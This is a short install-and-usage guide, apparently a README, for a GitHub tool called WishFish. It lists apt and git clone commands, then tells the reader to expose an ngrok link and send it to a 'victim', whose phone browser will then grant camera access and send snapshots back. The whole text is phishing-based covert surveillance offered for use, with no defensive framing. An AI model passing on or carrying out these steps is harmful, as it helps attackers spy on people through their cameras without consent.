Installation follow all command :-
Just copy paste the command that's it .
apt install php
apt install wget
apt install openssh
git clone https://github.com/kinghacker0/WishFish
(Now turn your device hotspot -its not the command u have to open the hotspot of your phone)
Sometimes servero server is down so always go with ngrok for instant link and wait until it generates url for then send it to victim.
Note :- If victim open this url in chrome or android inbuilt browser then it can access victim camera by allowing permissions and send snap to you.